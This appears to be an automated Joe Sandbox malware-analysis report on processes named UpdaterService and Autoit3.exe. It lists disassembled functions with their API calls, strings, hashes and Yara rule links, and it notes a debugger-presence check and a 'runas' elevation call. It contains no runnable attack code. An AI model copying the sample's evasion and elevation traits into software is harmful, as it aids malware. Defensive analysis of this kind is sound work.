Instruction Fuzzy Hash: A9018CB258015ABBCF125F84CE11CEE3FA2BB1C354F488415FE186A130D276E5B2AB81

Function 04F4B9AE Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 224COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 04F4B9F1

Strings

, xrefs: 04F4BA00

Memory Dump Source

Source File: 00000002.00000003.1834752096.0000000004EF4000.00000004.00001000.00020000.00000000.sdmp, Offset: 04EF4000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_3_4ed0000_UpdaterService.jbxd

Similarity

API ID: _memset
String ID:
API String ID: 2102423945-3916222277
Opcode ID: d78a2beacdf4439c2a5b447d4ee4b379427a29ff92682f65ca91e78aa88fe9f0
Instruction ID: f1f2a91de9f4146849e1e4a5c9caf7c9c70a9c07c5d735bdd6aa2b6129e2b816
Opcode Fuzzy Hash: d78a2beacdf4439c2a5b447d4ee4b379427a29ff92682f65ca91e78aa88fe9f0
Instruction Fuzzy Hash: 0D819C71D00208BFEF119FA4CC45AEE7F78EF44314F04416AF911A6262DB35EA16DB60

Function 04F4B9AE Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 224COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 04F4B9F1

Strings

, xrefs: 04F4BA00

Memory Dump Source

Source File: 00000002.00000003.1834752096.0000000004EF4000.00000004.00001000.00020000.00000000.sdmp, Offset: 04ED0000, based on PE: false

Associated: 00000002.00000003.1834387341.0000000004ED0000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_3_4ed0000_UpdaterService.jbxd

Similarity

API ID: _memset
String ID:
API String ID: 2102423945-3916222277
Opcode ID: 43acfaaacaa03db3299e4db08de07f731a7862975729fd7702a089c4c0a0429f
Instruction ID: f1f2a91de9f4146849e1e4a5c9caf7c9c70a9c07c5d735bdd6aa2b6129e2b816
Opcode Fuzzy Hash: 43acfaaacaa03db3299e4db08de07f731a7862975729fd7702a089c4c0a0429f
Instruction Fuzzy Hash: 0D819C71D00208BFEF119FA4CC45AEE7F78EF44314F04416AF911A6262DB35EA16DB60

Function 04F05A45 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 201COMMON

Download Yara Rule

APIs

_wcscat.LIBCMT ref: 04F42D12

Strings

\, xrefs: 04F42D35

Memory Dump Source

Source File: 00000002.00000003.1834752096.0000000004EF4000.00000004.00001000.00020000.00000000.sdmp, Offset: 04EF4000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_3_4ed0000_UpdaterService.jbxd

Similarity

API ID: _wcscat
String ID: \
API String ID: 2563891980-2967466578
Opcode ID: 4dd8e3047df96407afcf593c77c432ae57d68d137056a85baaf02d716a132db7
Instruction ID: 978aff2032a04d9da0af67d4faaf842f6f632fdac4edc2f7e1a1eb7a18b07b03
Opcode Fuzzy Hash: 4dd8e3047df96407afcf593c77c432ae57d68d137056a85baaf02d716a132db7
Instruction Fuzzy Hash: 95717671504301AEE350EF69EC88DABBBE8FF94354B40497EF545921B0EF30A54ACB5A

Function 04F05A45 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 201COMMON

Download Yara Rule

APIs

_wcscat.LIBCMT ref: 04F42D12

Strings

\, xrefs: 04F42D35

Memory Dump Source

Source File: 00000002.00000003.1834752096.0000000004EF4000.00000004.00001000.00020000.00000000.sdmp, Offset: 04ED0000, based on PE: false

Associated: 00000002.00000003.1834387341.0000000004ED0000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_3_4ed0000_UpdaterService.jbxd

Similarity

API ID: _wcscat
String ID: \
API String ID: 2563891980-2967466578
Opcode ID: 98b5b856b38fd4653d5d51d41a14d1ec0b159b574769ee2cf3012f3e86e72e17
Instruction ID: 978aff2032a04d9da0af67d4faaf842f6f632fdac4edc2f7e1a1eb7a18b07b03
Opcode Fuzzy Hash: 98b5b856b38fd4653d5d51d41a14d1ec0b159b574769ee2cf3012f3e86e72e17
Instruction Fuzzy Hash: 95717671504301AEE350EF69EC88DABBBE8FF94354B40497EF545921B0EF30A54ACB5A

Function 04F72587 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 177COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 04F725B1
_memset.LIBCMT ref: 04F7267A

Part of subcall function 04F06DEA: _wcscpy.LIBCMT ref: 04F06E0D

Strings

@, xrefs: 04F7268E

Memory Dump Source

Source File: 00000002.00000003.1834752096.0000000004EF4000.00000004.00001000.00020000.00000000.sdmp, Offset: 04EF4000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_3_4ed0000_UpdaterService.jbxd

Similarity

API ID: _memset$_wcscpy
String ID: @
API String ID: 996981245-2766056989
Opcode ID: 5848c59b5e4ceb8dbfc7f339962e0de36151acc6508846811d051c8158f77560
Instruction ID: 42d51120f5889ec34668501c8b60dba6d3df9911c0dde664631f10471f08ce58
Opcode Fuzzy Hash: 5848c59b5e4ceb8dbfc7f339962e0de36151acc6508846811d051c8158f77560
Instruction Fuzzy Hash: FC61A175A00619DFDB14EF54C9909AEBBF5FF48314F15809AD816AB3A0CB34BD42CB90

Function 04F72587 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 177COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 04F725B1
_memset.LIBCMT ref: 04F7267A

Part of subcall function 04F06DEA: _wcscpy.LIBCMT ref: 04F06E0D

Strings

@, xrefs: 04F7268E

Memory Dump Source

Source File: 00000002.00000003.1834752096.0000000004EF4000.00000004.00001000.00020000.00000000.sdmp, Offset: 04ED0000, based on PE: false

Associated: 00000002.00000003.1834387341.0000000004ED0000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_3_4ed0000_UpdaterService.jbxd

Similarity

API ID: _memset$_wcscpy
String ID: @
API String ID: 996981245-2766056989
Opcode ID: 5848c59b5e4ceb8dbfc7f339962e0de36151acc6508846811d051c8158f77560
Instruction ID: 42d51120f5889ec34668501c8b60dba6d3df9911c0dde664631f10471f08ce58
Opcode Fuzzy Hash: 5848c59b5e4ceb8dbfc7f339962e0de36151acc6508846811d051c8158f77560
Instruction Fuzzy Hash: FC61A175A00619DFDB14EF54C9909AEBBF5FF48314F15809AD816AB3A0CB34BD42CB90

Function 04F55431 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 138COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 04F5547F

Strings

0, xrefs: 04F55478
2, xrefs: 04F55504

Memory Dump Source

Source File: 00000002.00000003.1834752096.0000000004EF4000.00000004.00001000.00020000.00000000.sdmp, Offset: 04EF4000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_3_4ed0000_UpdaterService.jbxd

Similarity

API ID: _memset
String ID: 0$2
API String ID: 2102423945-3793063076
Opcode ID: 0aa36013b0828378258fbe19907d7e7261963f9ab17cf3c8f08e2b12e3cf420c
Instruction ID: 29474be7f22e795a51d766a0312fb1abeb25b9e42d692be04ffef4a477e70a34
Opcode Fuzzy Hash: 0aa36013b0828378258fbe19907d7e7261963f9ab17cf3c8f08e2b12e3cf420c
Instruction Fuzzy Hash: 2E51D470A00345FFDF10CFA8C8887ADBBF6AF44318F145569EE119B2A8E770A506CB51

Function 04F55431 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 138COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 04F5547F

Strings

0, xrefs: 04F55478
2, xrefs: 04F55504

Memory Dump Source

Source File: 00000002.00000003.1834752096.0000000004EF4000.00000004.00001000.00020000.00000000.sdmp, Offset: 04ED0000, based on PE: false

Associated: 00000002.00000003.1834387341.0000000004ED0000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_3_4ed0000_UpdaterService.jbxd

Similarity

API ID: _memset
String ID: 0$2
API String ID: 2102423945-3793063076
Opcode ID: 0aa36013b0828378258fbe19907d7e7261963f9ab17cf3c8f08e2b12e3cf420c
Instruction ID: 29474be7f22e795a51d766a0312fb1abeb25b9e42d692be04ffef4a477e70a34
Opcode Fuzzy Hash: 0aa36013b0828378258fbe19907d7e7261963f9ab17cf3c8f08e2b12e3cf420c
Instruction Fuzzy Hash: 2E51D470A00345FFDF10CFA8C8887ADBBF6AF44318F145569EE119B2A8E770A506CB51

Function 04F7A1F7 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 103COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 04F7A20F

Strings

F, xrefs: 04F7A307
0, xrefs: 04F7A205

Memory Dump Source

Source File: 00000002.00000003.1834752096.0000000004EF4000.00000004.00001000.00020000.00000000.sdmp, Offset: 04EF4000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_3_4ed0000_UpdaterService.jbxd

Similarity

API ID: _memset
String ID: 0$F
API String ID: 2102423945-3044882817
Opcode ID: 3835a7e44b937527d570b4358b05d84f911ebc4fc5feb48917e96ccc3cac0bd7
Instruction ID: d2d380a4ba6ae5a964ba4494342b43a7c7725de037fa84a8caf21f5c3d3fb0a9
Opcode Fuzzy Hash: 3835a7e44b937527d570b4358b05d84f911ebc4fc5feb48917e96ccc3cac0bd7
Instruction Fuzzy Hash: 5F418A74A00209EFDB10DF64D884EAE7BF5FF48310F05402AEA16A73A0D735A911CF64

Function 04F7A1F7 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 103COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 04F7A20F

Strings

0, xrefs: 04F7A205
F, xrefs: 04F7A307

Memory Dump Source

Source File: 00000002.00000003.1834752096.0000000004EF4000.00000004.00001000.00020000.00000000.sdmp, Offset: 04ED0000, based on PE: false

Associated: 00000002.00000003.1834387341.0000000004ED0000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_3_4ed0000_UpdaterService.jbxd

Similarity

API ID: _memset
String ID: 0$F
API String ID: 2102423945-3044882817
Opcode ID: 3835a7e44b937527d570b4358b05d84f911ebc4fc5feb48917e96ccc3cac0bd7
Instruction ID: d2d380a4ba6ae5a964ba4494342b43a7c7725de037fa84a8caf21f5c3d3fb0a9
Opcode Fuzzy Hash: 3835a7e44b937527d570b4358b05d84f911ebc4fc5feb48917e96ccc3cac0bd7
Instruction Fuzzy Hash: 5F418A74A00209EFDB10DF64D884EAE7BF5FF48310F05402AEA16A73A0D735A911CF64

Analysis Process: Autoit3.exePID: 8020, Parent PID: 2580COMMON

Execution Graph

Execution Coverage:	3.7%
Dynamic/Decrypted Code Coverage:	25.7%
Signature Coverage:	3.4%
Total number of Nodes:	2000
Total number of Limit Nodes:	54

Executed Functions

Function 03B65B4C Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 186
registrystringlibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000105), ref: 03B65B67
RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105), ref: 03B65B85
RegOpenKeyExA.ADVAPI32(80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105), ref: 03B65BA3
RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000), ref: 03B65BC1
RegQueryValueExA.ADVAPI32(?,?,00000000,00000000,00000000,00000005,00000000,03B65C50,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?), ref: 03B65C0A
RegQueryValueExA.ADVAPI32(?,03B65DCC,00000000,00000000,00000000,00000005,?,?,00000000,00000000,00000000,00000005,00000000,03B65C50,?,80000001), ref: 03B65C28
RegCloseKey.ADVAPI32(?,03B65C57,00000000,00000000,00000005,00000000,03B65C50,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105), ref: 03B65C4A
lstrcpyn.KERNEL32(?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000), ref: 03B65C67
GetThreadLocale.KERNEL32(00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?), ref: 03B65C74
GetLocaleInfoA.KERNEL32(00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019), ref: 03B65C7A
lstrlen.KERNEL32(00000000), ref: 03B65CA5
lstrcpyn.KERNEL32(00000000,00000000,00000105,00000000), ref: 03B65CFA
LoadLibraryExA.KERNEL32(00000000,00000000,00000002,00000000,00000000,00000105,00000000), ref: 03B65D0A
lstrcpyn.KERNEL32(00000000,00000000,00000105,00000000), ref: 03B65D36
LoadLibraryExA.KERNEL32(00000000,00000000,00000002,00000000,00000000,00000105,00000000), ref: 03B65D46
lstrcpyn.KERNEL32(00000000,00000000,00000105,00000000,00000000,00000002,00000000,00000000,00000105,00000000), ref: 03B65D70
LoadLibraryExA.KERNEL32(00000000,00000000,00000002,00000000,00000000,00000105,00000000,00000000,00000002,00000000,00000000,00000105,00000000), ref: 03B65D80

Strings

Software\Borland\Delphi\Locales, xrefs: 03B65BB7
Software\Borland\Locales, xrefs: 03B65B7B, 03B65B99

Memory Dump Source

Source File: 00000009.00000002.1966048662.0000000003B61000.00000040.00001000.00020000.00000000.sdmp, Offset: 03B61000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3b61000_Autoit3.jbxd

Yara matches

Similarity

API ID: lstrcpyn$LibraryLoadOpen$LocaleQueryValue$CloseFileInfoModuleNameThreadlstrlen
String ID: Software\Borland\Delphi\Locales$Software\Borland\Locales
API String ID: 1759228003-2375825460
Opcode ID: 6c4dee4838faf347fa3ff792680241248e4cfa8708f6f4c5b7f7f216e26e6eca
Instruction ID: 38624ceed745b443fa168a7beaede17cfa614225d35479749705f6c6abc7e915
Opcode Fuzzy Hash: 6c4dee4838faf347fa3ff792680241248e4cfa8708f6f4c5b7f7f216e26e6eca
Instruction Fuzzy Hash: C9614C75E0434D7EEB20DAE8CC45FEFB7BC9B09708F4440F2A645E6182D6BC9A548B60

Function 00F1DD3D Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 186
registrystringlibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000105), ref: 00F1DD58
RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105), ref: 00F1DD76
RegOpenKeyExA.ADVAPI32(80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105), ref: 00F1DD94
RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000), ref: 00F1DDB2
RegQueryValueExA.ADVAPI32(?,?,00000000,00000000,00000000,00000005,00000000,00F1DE41,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?), ref: 00F1DDFB
RegQueryValueExA.ADVAPI32(?,00F1DFBD,00000000,00000000,00000000,00000005,?,?,00000000,00000000,00000000,00000005,00000000,00F1DE41,?,80000001), ref: 00F1DE19
RegCloseKey.ADVAPI32(?,00F1DE48,00000000,00000000,00000005,00000000,00F1DE41,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105), ref: 00F1DE3B
lstrcpyn.KERNEL32(?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000), ref: 00F1DE58
GetThreadLocale.KERNEL32(00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?), ref: 00F1DE65
GetLocaleInfoA.KERNEL32(00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019), ref: 00F1DE6B
lstrlen.KERNEL32(00000000), ref: 00F1DE96
lstrcpyn.KERNEL32(00000000,00000000,00000105,00000000), ref: 00F1DEEB
LoadLibraryExA.KERNEL32(00000000,00000000,00000002,00000000,00000000,00000105,00000000), ref: 00F1DEFB
lstrcpyn.KERNEL32(00000000,00000000,00000105,00000000), ref: 00F1DF27
LoadLibraryExA.KERNEL32(00000000,00000000,00000002,00000000,00000000,00000105,00000000), ref: 00F1DF37
lstrcpyn.KERNEL32(00000000,00000000,00000105,00000000,00000000,00000002,00000000,00000000,00000105,00000000), ref: 00F1DF61
LoadLibraryExA.KERNEL32(00000000,00000000,00000002,00000000,00000000,00000105,00000000,00000000,00000002,00000000,00000000,00000105,00000000), ref: 00F1DF71

Strings

Software\Borland\Delphi\Locales, xrefs: 00F1DDA8
Software\Borland\Locales, xrefs: 00F1DD6C, 00F1DD8A

Memory Dump Source

Source File: 00000009.00000002.1964905533.0000000000F17000.00000040.00000020.00020000.00000000.sdmp, Offset: 00F17000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_f17000_Autoit3.jbxd

Similarity

API ID: lstrcpyn$LibraryLoadOpen$LocaleQueryValue$CloseFileInfoModuleNameThreadlstrlen
String ID: Software\Borland\Delphi\Locales$Software\Borland\Locales
API String ID: 1759228003-2375825460
Opcode ID: 64a2245a7fec071bc95b468d0998d1c19a8545cb624fe49e5b59799cdebb541d
Instruction ID: 12fafb8add2b47df88b3efb7e6c572f5ebf081b178b894b6b388955b04f0a620
Opcode Fuzzy Hash: 64a2245a7fec071bc95b468d0998d1c19a8545cb624fe49e5b59799cdebb541d
Instruction Fuzzy Hash: 2B612371E0420D7EEB11DAE8CC86FEFB7BC9B58700F404191B645E6181D7BCDA85AB62

Function 00855240 Relevance: 21.1, APIs: 8, Strings: 4, Instructions: 147
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 0085526C
IsDebuggerPresent.KERNEL32 ref: 0085527E
GetFullPathNameW.KERNEL32(00007FFF,?,?), ref: 008552E6

Part of subcall function 00851821: _memmove.LIBCMT ref: 0085185B

Part of subcall function 0084BBC6: GetFullPathNameW.KERNEL32(?,00007FFF,?,?), ref: 0084BC07

SetCurrentDirectoryW.KERNEL32(?), ref: 00855366
MessageBoxA.USER32(00000000,It is a violation of the AutoIt EULA to attempt to reverse engineer this program.,AutoIt,00000010), ref: 00890B2E
SetCurrentDirectoryW.KERNEL32(?), ref: 00890B66
GetForegroundWindow.USER32(runas,?,?,?,00000001,?,008F6D10), ref: 00890BE9
ShellExecuteW.SHELL32(00000000), ref: 00890BF0

Part of subcall function 0085514C: GetSysColorBrush.USER32(0000000F), ref: 00855156
Part of subcall function 0085514C: LoadCursorW.USER32(00000000,00007F00), ref: 00855165
Part of subcall function 0085514C: LoadIconW.USER32(00000063), ref: 0085517C
Part of subcall function 0085514C: LoadIconW.USER32(000000A4), ref: 0085518E
Part of subcall function 0085514C: LoadIconW.USER32(000000A2), ref: 008551A0
Part of subcall function 0085514C: LoadImageW.USER32(00000063,00000001,00000010,00000010,00000000), ref: 008551C6
Part of subcall function 0085514C: RegisterClassExW.USER32(?), ref: 0085521C

Part of subcall function 008550DB: CreateWindowExW.USER32(00000000,AutoIt v3,AutoIt v3,00CF0000,80000000,80000000,0000012C,00000064,00000000,00000000,00000000,00000001), ref: 00855109
Part of subcall function 008550DB: CreateWindowExW.USER32(00000000,edit,00000000,50B008C4,00000000,00000000,00000000,00000000,00000000,00000001,00000000), ref: 0085512A
Part of subcall function 008550DB: ShowWindow.USER32(00000000), ref: 0085513E
Part of subcall function 008550DB: ShowWindow.USER32(00000000), ref: 00855147

Part of subcall function 008559D3: _memset.LIBCMT ref: 008559F9
Part of subcall function 008559D3: Shell_NotifyIconW.SHELL32(00000000,?), ref: 00855A9E

Strings

0S, xrefs: 008552EF
AutoIt, xrefs: 00890B23
It is a violation of the AutoIt EULA to attempt to reverse engineer this program., xrefs: 00890B28
runas, xrefs: 00890BE4

Memory Dump Source

Source File: 00000009.00000002.1964486435.0000000000841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00840000, based on PE: true

Associated: 00000009.00000002.1964462457.0000000000840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964613673.0000000000900000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964639195.0000000000909000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_840000_Autoit3.jbxd

Similarity

API ID: LoadWindow$Icon$CurrentDirectory$CreateFullNamePathShow$BrushClassColorCursorDebuggerExecuteForegroundImageMessageNotifyPresentRegisterShellShell__memmove_memset
String ID: 0S$AutoIt$It is a violation of the AutoIt EULA to attempt to reverse engineer this program.$runas
API String ID: 529118366-468529860
Opcode ID: 4b910710baeaadc6cb9fece198b14e30032ddd519fd46428001909ed26fc0574
Instruction ID: a4852a6bb848019052b2cf1fb414cb4f46748ce83648fadd70544ec67a234b6e
Opcode Fuzzy Hash: 4b910710baeaadc6cb9fece198b14e30032ddd519fd46428001909ed26fc0574
Instruction Fuzzy Hash: 1A510431D0824CAECF11ABFC9C15EEEBB78FB05396F144165F965E22A2DA601548DB22

Function 03B65C56 Relevance: 15.1, APIs: 10, Instructions: 102stringlibrarythreadCOMMON

Download Yara Rule

APIs

lstrcpyn.KERNEL32(?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000), ref: 03B65C67
GetThreadLocale.KERNEL32(00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?), ref: 03B65C74
GetLocaleInfoA.KERNEL32(00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019), ref: 03B65C7A
lstrlen.KERNEL32(00000000), ref: 03B65CA5
lstrcpyn.KERNEL32(00000000,00000000,00000105,00000000), ref: 03B65CFA
LoadLibraryExA.KERNEL32(00000000,00000000,00000002,00000000,00000000,00000105,00000000), ref: 03B65D0A
lstrcpyn.KERNEL32(00000000,00000000,00000105,00000000), ref: 03B65D36
LoadLibraryExA.KERNEL32(00000000,00000000,00000002,00000000,00000000,00000105,00000000), ref: 03B65D46
lstrcpyn.KERNEL32(00000000,00000000,00000105,00000000,00000000,00000002,00000000,00000000,00000105,00000000), ref: 03B65D70
LoadLibraryExA.KERNEL32(00000000,00000000,00000002,00000000,00000000,00000105,00000000,00000000,00000002,00000000,00000000,00000105,00000000), ref: 03B65D80

Memory Dump Source

Source File: 00000009.00000002.1966048662.0000000003B61000.00000040.00001000.00020000.00000000.sdmp, Offset: 03B61000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3b61000_Autoit3.jbxd

Yara matches

Similarity

API ID: lstrcpyn$LibraryLoad$Locale$InfoThreadlstrlen
String ID:
API String ID: 1599918012-0
Opcode ID: ddbd527a32ae9ec2530258e14f6a972eda50d7eb16103e1cd22e6a72dae55c5b
Instruction ID: a15f3c583a7c9c8f7c113e9658e216c30a2299e6e2795b4299663e171e54be22
Opcode Fuzzy Hash: ddbd527a32ae9ec2530258e14f6a972eda50d7eb16103e1cd22e6a72dae55c5b
Instruction Fuzzy Hash: 5E313D71E042497EEB21DAE8C888FEFB7BD9B49308F0441F2A145E6182D6BC9A548F50

Function 00F1DE47 Relevance: 15.1, APIs: 10, Instructions: 102
stringlibrarythreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcpyn.KERNEL32(?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000), ref: 00F1DE58
GetThreadLocale.KERNEL32(00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?), ref: 00F1DE65
GetLocaleInfoA.KERNEL32(00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019), ref: 00F1DE6B
lstrlen.KERNEL32(00000000), ref: 00F1DE96
lstrcpyn.KERNEL32(00000000,00000000,00000105,00000000), ref: 00F1DEEB
LoadLibraryExA.KERNEL32(00000000,00000000,00000002,00000000,00000000,00000105,00000000), ref: 00F1DEFB
lstrcpyn.KERNEL32(00000000,00000000,00000105,00000000), ref: 00F1DF27
LoadLibraryExA.KERNEL32(00000000,00000000,00000002,00000000,00000000,00000105,00000000), ref: 00F1DF37
lstrcpyn.KERNEL32(00000000,00000000,00000105,00000000,00000000,00000002,00000000,00000000,00000105,00000000), ref: 00F1DF61
LoadLibraryExA.KERNEL32(00000000,00000000,00000002,00000000,00000000,00000105,00000000,00000000,00000002,00000000,00000000,00000105,00000000), ref: 00F1DF71

Memory Dump Source

Source File: 00000009.00000002.1964905533.0000000000F17000.00000040.00000020.00020000.00000000.sdmp, Offset: 00F17000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_f17000_Autoit3.jbxd

Similarity

API ID: lstrcpyn$LibraryLoad$Locale$InfoThreadlstrlen
String ID:
API String ID: 1599918012-0
Opcode ID: c215516fb5951c465a98e791fc99ed20a515ebe720d1e0e1ae2d7fa59520051b
Instruction ID: 5cafd203f9cc28f51a9719ef9925f9430973a8abf4b7b9cc61e8f905ab27149a
Opcode Fuzzy Hash: c215516fb5951c465a98e791fc99ed20a515ebe720d1e0e1ae2d7fa59520051b
Instruction Fuzzy Hash: 31315371F0420D7EEB15DAE8CC89FEEB7BD9B58300F004191A149E6185D7BC9E899B51

Function 00855D13 Relevance: 10.7, APIs: 7, Instructions: 223COMMON

Download Yara Rule

APIs

GetVersionExW.KERNEL32(?), ref: 00855D40

Part of subcall function 00851821: _memmove.LIBCMT ref: 0085185B

GetCurrentProcess.KERNEL32(?,008D0A18,00000000,00000000,?), ref: 00855E07
IsWow64Process.KERNEL32(00000000), ref: 00855E0E
GetNativeSystemInfo.KERNEL32(00000000), ref: 00855E54
FreeLibrary.KERNEL32(00000000), ref: 00855E5F
GetSystemInfo.KERNEL32(00000000), ref: 00855E90
GetSystemInfo.KERNEL32(00000000), ref: 00855E9C

Memory Dump Source

Source File: 00000009.00000002.1964486435.0000000000841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00840000, based on PE: true

Associated: 00000009.00000002.1964462457.0000000000840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964613673.0000000000900000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964639195.0000000000909000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_840000_Autoit3.jbxd

Similarity

API ID: InfoSystem$Process$CurrentFreeLibraryNativeVersionWow64_memmove
String ID:
API String ID: 1986165174-0
Opcode ID: 213215b5e2a3c6198205403c411827c968ddf11d0d8206ced74374ff8904d33a
Instruction ID: 3b3c4b08e7a45ac1e8b749bda01abf2b99e454ed1c8a4186fb127c31c57eac6f
Opcode Fuzzy Hash: 213215b5e2a3c6198205403c411827c968ddf11d0d8206ced74374ff8904d33a
Instruction Fuzzy Hash: 2B91D43154ABC4DECB31DB6884651AABFE5FF25301B880A5ED4C7D3A41D231B64CC75A

Function 00841663 Relevance: 7.9, APIs: 5, Instructions: 379COMMON

Download Yara Rule

APIs

Part of subcall function 008429E2: GetWindowLongW.USER32(?,000000EB), ref: 008429F3

DefDlgProcW.USER32(?,?,?,?,?), ref: 00841DD6
GetSysColor.USER32(0000000F), ref: 00841E2A
SetBkColor.GDI32(?,00000000), ref: 00841E3D

Part of subcall function 0084166C: DefDlgProcW.USER32(?,00000020,?), ref: 008416B4

Memory Dump Source

Source File: 00000009.00000002.1964486435.0000000000841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00840000, based on PE: true

Associated: 00000009.00000002.1964462457.0000000000840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964613673.0000000000900000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964639195.0000000000909000.00000002.00000001.01000000.0000000F.sdmpDownload File

